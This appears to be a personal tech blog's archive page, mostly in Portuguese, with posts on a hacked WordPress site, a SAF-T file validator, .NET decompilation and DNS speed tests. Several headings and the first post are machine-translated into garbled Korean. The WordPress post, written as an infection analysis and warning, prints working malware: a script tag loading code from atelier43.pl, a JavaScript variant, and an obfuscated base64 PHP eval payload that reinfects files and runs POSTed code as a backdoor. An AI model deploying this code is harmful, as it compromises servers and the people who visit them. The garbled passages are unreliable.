파일

Arquivo do Autor

문제가 해결

문제보고 여기에 해결.

그래서 원인 hackaros의 자비를 계속할 수있습니다 찾지 못하셨습니까, 하지만 지금은 깨끗한 적어도 사이트입니다 (이 블로그를 다른 업체에 호스팅 영향을받지 않습니다했습니다).

청소 과정은 간단하지만 시간이, 그 영향을받은 계정은 모두 파일을 다운로드하여 시작, 워드 프레스의 "복사 및 시설"처녀 지불 파일이 이미, WordPress의 각 설치 전. 그러나 거기에 감염된 파일이 지속적으로. 난 주사와 다른 디렉토리로 "깨끗한 파일을 복사하여 간다"는 C # 재귀 코드에 대한 모든 파일을 검색하려면 작은 응용 프로그램을 만들.

만약 누군가 같은 문제로 고통, 날 전주기에있는 모든 디렉터리와 하위의 모든 파일을 사용하는 코드 디렉터리와 영향을받는 파일을 찾을 물어 무료 느낌. 여기에 사용할 수 있기 때문에 응용 프로그램이 약간 거칠게입니다, 사용하는 코드를 읽고해야 파일을 감염 조절.

카테고리: 쓸모, 취약점

공지 사항: 이 사이트를 방문하여 컴퓨터에 해를 미칠 수있습니다!

PrtSc Aviso do Chrome

Embora o Chrome não seja o browser que uso no dia a dia, ganhou mais um ponto na minha consideração. É o browser que arranca mais rapidamente no meu pc, daí quando preciso se ir à net e não posso esperar que abra outro browser abra utilizo-o. Hoje ao abrir recebi um erro que está na imagem:

O Web site em antoniocampos.net contém elementos do site atelier43.pl, o qual parece alojar software maligno – ou seja, software que pode danificar o seu computador ou funcionar sem o seu consentimento. A mera visita a um site que contenha software maligno pode infectar o seu computador.

Para obter informações mais detalhadas sobre os problemas com estes elementos, visite a Página de diagnóstico Navegação segura no Google para atelier43.pl.

 

depois de olha para o código fonte vi que de alguma forma foi injectado código no ficheiro original, o código malicioso inserido foi o seguinte:

<script src=http://atelier43.pl/images/gifimg.php ></script>

Logo a seguir ao fecho da tag </head>, visitei outros dominios todos alojados no mesmo sitio e todos os dominios tinham o mesmo sintoma, depois de uma analise cuidada reparei que havia vários ficheiros infectados pela injecção, conforme a extenssão do ficheiro tinham código diferente.

Nos ficheiros de javascript (.js):

document.write(‘<script src=http://atelier43.pl/images/gifimg.php ><\/script>);

Nos ficheiros html aparecia o código já descrito em cima e nos ficheiros .php o seguinte código:

<?php eval(base64_decode(‘aWYoIWZ1bmN0aW9uX2V4aXN0cygncHEzazcnKSl7ZnVuY3Rpb24gcHEzazcoJHMpe2lmKH

ByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWF

jaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRj

aCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF

0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFx

iIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2

RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRja

F9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXM

nLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcmVnX21hdGNoKCcjW1wuIF13aWR0aF

xzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc

3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycp

LicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlK

CdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMkYwWld4cFpYSTBNeTV3YkM5cGJXRm5aW

E12WjJsbWFXMW5MbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCR

zLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHM

sMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24

gcHEzazcyKCRhLCRiLCRjLCRkKXtnbG9iYWwkcHEzazcxOyRzPWFycmF5KCk7aWYoZnVuY3R

pb25fZXhpc3RzKCRwcTNrNzEpKWNhbGxfdXNlcl9mdW5jKCRwcTNrNzEsJGEsJGIsJGMsJGQ

pO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J3B

xM2s3JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1h

cnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bn

QoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9

jbGVhbigpO31vYl9zdGFydCgncHEzazcnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2J

fc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kcHEzazdsPSgoJGE9QHNldF9lcnJ

vcl9oYW5kbGVyKCdwcTNrNzInKSkhPSdwcTNrNzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY2

9kZSgkX1BPU1RbJ2UnXSkpOw==’)); ?>

Este é o código responsavel por infectar os ficheiros se fizerem um base64_decode e analisarem o código aparece a forma como os ficheiros foram infectados, mas não explica como o código “entrou” pela primeira vez.

Além das infecções referidas foram craidos vários ficheiros, com vários nomes que aguardam o POST código php e o executam no servidor, deixando assim todos os ficheiros a que o utilizador que está a correr o site vulneraveis.

Depois de várias pesquisas no Google tudo aponta para uma falha no Wordpress embora não tenha descoberto em que versão, penso que deverá ser na 2.8.6 pois nessa conta de alojamento tenho 3 instalações de wordpress todas actualizadas para a 2.8.6. Segundo a sabedoria do Google não fui o primeiro a ser infectado por esta praga, embora dos artigos que encontrei no google não sejam os mesmos, a infecção e a presença de código malicioso é semelhante à que me aconteceu.

Por isso aconselho todos os que tem sites em Wordpress que verifiquem se estão infectados.

Estou a descarregar todos os ficheiros que tenho alojados neste servidor para analisar mais atentamente o que aconteceu, creio que não vou chegar a nenhuma conclusão de como fui infectado uma vez que não tenho acesso aos logs do apache, mas no minimo vou ter que limpar todos os ficheiros.

Uma das soluções seria apagar todos os ficheiros da instalação e colar uma versão nova de todos os ficheiros, mas isso fará com que todas as costumizações de temas e plugins se percam, e obrigaria à instalação de todos os plugins novamente.

Mal haja desolvimentos sobre a solução (pelo menos da limpeza dos ficheiros) crio um novo post com os mesmos.

카테고리: 취약점, WordPress의

Saft - 엉 검사기 금융 포탈에서 사용할 수

Tive agora conhecimento através de um comentário num post antigo sobre o SAFT de que as Finanças disponibilizam agora no seu site uma ferramenta que permite validar o ficheiro do SAFT.

O endereço da aplicação para validação é VALIDADOR DE FICHEIROS SAF-T_PT, é uma aplicação em JAVA por isso só necessitam de ter o dito instalado e aceder à página para poderem usar a ferramenta.

Esta aplicao verifica se o seu ficheiro SAF-T_PT, em formato XML, respeita as regras de estrutura definidas pela DGCI na Portaria n. 1192/2009, de 08 de Outubro, que alterou a Portaria n. 321-A/2007, de 26 de Março.
Este programa, se utilizado on-line valida o ficheiro SAF-T_PT, em formato XML, que indicar, sem que seja necessário transportar os dados para o servidor.

Além deste oficial, existem na internet muitos mais “validadores” disponíveis, mas creio que este será o local certo para validar.

Já agora aproveito para avisar para terem cuidado com os locais onde submetem os vosso ficheiros SAFT, não sabem quem é que está do outro lado e o que pode fazer com os vossos dados de facturação!!

감사합니다 Mauricio pela dica.

카테고리: 유틸리티

디컴파일 코드입니다. 닷넷 (가. NET 리플렉터)

screenshot_full_screen

Uma das coisas que sempre me assustou no .net é a facilidade com que se consegue chegar ao código original de um executável ou libraria baseada na framework.

Existe uma serie de ferramentas que permitem de uma forma fácil, rápida e simples ver o código de uma aplicação .net.

Dessas ferramentas destaco uma que creio ser a mais popular que é o .NET Reflector da Redgate, para aceder ao código de uma aplicação basta clicar no botão browse e seleccionar a assembly que queremos ver o código e com o botão direito fazer disassemble. Claro que não incentivo ninguém a andar a esmiuçar o código de aplicações de terceiros. Eu uso frequentemente esta ferramenta para estudar o código das librarias da própia framework e ver como é que os senhores da Microsoft implementam certas funcionalidades e obter algumas luzes das melhores práticas a vários niveis na programação em “cima” da framework.

DNS 서버 속도 비교 – 부분 2

Um leitor do blogue testou a velocidade da resolução dos mesmos dominios que eu no artigo anterior, com os mesmos servidores DNS mas apartir de um ISP diferente, e acrescentou à lista o Servidor DNS do seu ISP que é a Claranet PT.

Os resultados são que mostra a tabela seguinte:

_antoniocampos.netmicrosoft.comdigg.comfccn.pt
오픈 DNS (208.67.222.222)576363793
구글의 DNS (8.8.8.8)554851135
sapo (194.65.5.2)TimedOutTimedOutTimedOutTimed Out
Telepac (194.65.14.27)16112111
모델 PT - 프라임(62.48.131.10)20131217
해 TV를 카보 (212.113.161.226)16151411
Claranet PT (195.22.0.136)10221014

Os resultados embora diferentes dos meus, revelam mais uma vez que os servidores do própio ISP são os que resolvem nomes mais rapidamente, pelos motivos expostos no artigo anterior.

Apesar de o autor da tabela não ter reclamado créditos da mesma, agradeço o trabalho e sobretudo a partilha do mesmo. 감사합니다 Zex.

카테고리: 분석